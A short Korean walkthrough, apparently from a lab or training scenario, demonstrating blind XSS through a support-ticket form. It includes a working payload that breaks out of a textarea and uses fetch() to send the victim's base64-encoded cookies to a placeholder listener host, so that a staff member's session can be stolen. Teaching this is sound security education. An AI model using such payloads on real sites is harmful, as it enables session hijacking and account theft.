한 시나리오를 통해서 Blind XSS 취약점을 알아보자.

유저 test의 email로 test@test.com을 만들고 로그인했다.

support ticket 탭에서 제목과 내용을 test로 생성해보자.

새로운 티켓이 생성되고 id와 제목, 내용, 일시가 적혀있다.

내용이 <textarea> 태그에 나오고 있다.

새 티켓을 생성할 때 textarea 태그를 닫고 alert를 띄워보자.

id 9번을 누르자 alert가 성공적으로 떴다.
그러면 이제 id와 제목, 내용을 가진 티켓을 확인했고 이 내용은 직원이 열람할 것으로 예상되므로 직원의 쿠키를 훔쳐 세션을 가져와보자.

리스닝 중인 포트를 열어서 쿠키를 훔쳐 포트에 출력되도록 해보자.

</textarea><script>fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie) );</script>
수 초 혹은 수 분 후 쿠키가 도착할 것이다.

GET으로 리퀘스트가 온 것을 가져왔는데 cookie가 존재한다.
이제 base64로 디코딩하면 된다.

session을 훔칠 수 있는 값이 생겼다.